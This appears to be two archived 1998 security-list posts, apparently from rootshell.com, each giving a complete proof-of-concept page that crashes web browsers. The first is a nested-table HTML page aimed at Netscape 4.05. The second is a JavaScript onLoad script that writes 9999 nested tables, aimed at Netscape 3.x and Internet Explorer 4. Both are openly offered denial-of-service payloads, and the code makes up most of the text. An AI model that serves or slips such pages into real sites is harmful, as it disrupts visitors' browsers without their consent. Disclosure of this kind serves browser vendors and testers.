This bug has been tested on Communicator 4.05 on Linux Slackware 3.4, and Navigator 4.05 on Windows 98. Both Linux and Windows versions of Netscape couldn't handle the tables. It crashed Navigator on all computers that we tryed it on. Netscape Navigator crashes with nested tables inside <span></span>. I don't have a clue what caused it, and neither I wish to waiste my time trying to figure it out, but here to see a working sample refer to www.bway.net/~manic/N remember this page crashes the browser or try this: <HTML> <SPAN STYLE="position:absolute; LEFT:0"> <TABLE BORDER="0" WIDTH=100%> <TR> <TD> <TABLE> <TR> <TD> </TD> </TR> <TR> <TD> <TABLE> <TR> <TD> </TD> </TR> </TABLE> </TD> </TR> </TABLE> </TD> </TR> </TABLE> </SPAN> </HTML> Thank you for your time Leo ----------------------------------------------------------------------------- From doom@ezaccess.net Mon Jul 6 13:48:34 1998 Date: Mon, 06 Jul 1998 16:34:13 -0700 From: "Eric.Swendsen" <doom@ezaccess.net> To: www-request@rootshell.com Subject: Another browser DoS... Here's another browser DoS that works against Netscape 3.x and Internet Explorer 4. It might work against other browsers, but those are the two I have installed and tested it on. I discovered it about 6 months ago, by accident. The appearance of that other browser DoS spurred me to send this in. Enjoy. ------------------------------------------------------ <html> <head> <title></title> <script> <!-- function browserBonk() { for(i = 0; i < 9999; i++) document.write("<table><tr><td>"); for(i = 0; i < 9999; i++) document.write("</td></tr></table>"); } // --> </script> </head> <body onLoad="browserBonk()"> </body> </html> ------------------------------------------------------ Thanks. |-------------------| | Eric Swendsen | | doom@ezaccess.net | |-------------------|
